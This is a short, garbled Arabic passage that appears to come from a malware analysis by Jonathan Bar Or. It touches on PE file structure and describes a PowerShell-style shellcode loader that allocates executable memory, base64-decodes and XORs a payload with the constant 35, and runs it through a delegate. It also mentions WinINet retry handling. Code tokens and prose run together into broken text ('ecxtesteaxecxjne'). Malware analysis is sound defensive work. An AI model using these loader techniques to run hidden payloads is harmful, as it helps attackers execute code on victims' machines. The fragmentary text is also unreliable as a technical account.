- تطرقنا إلى بعض أجزاء بنية ملف `PE`.
شكرًا،
Jonathan Bar Or (https://jonathanbaror.com)
PAGE_EXECUTEREADWRITE$var_code (التي تم فك تشفيرها من base64 وتطبيق XOR عليها بالثابت 35) إلى المخزن ثم تنفيذها (يتم ذلك عبر المفوض $var_runme).$DoIt.ecxtesteaxecxjnewininet.dll!InternetErrorDlg0x2f00 هو ERROR_INTERNET_FORCE_RETRY، ونقارن نتيجة InternetErrorDlg به.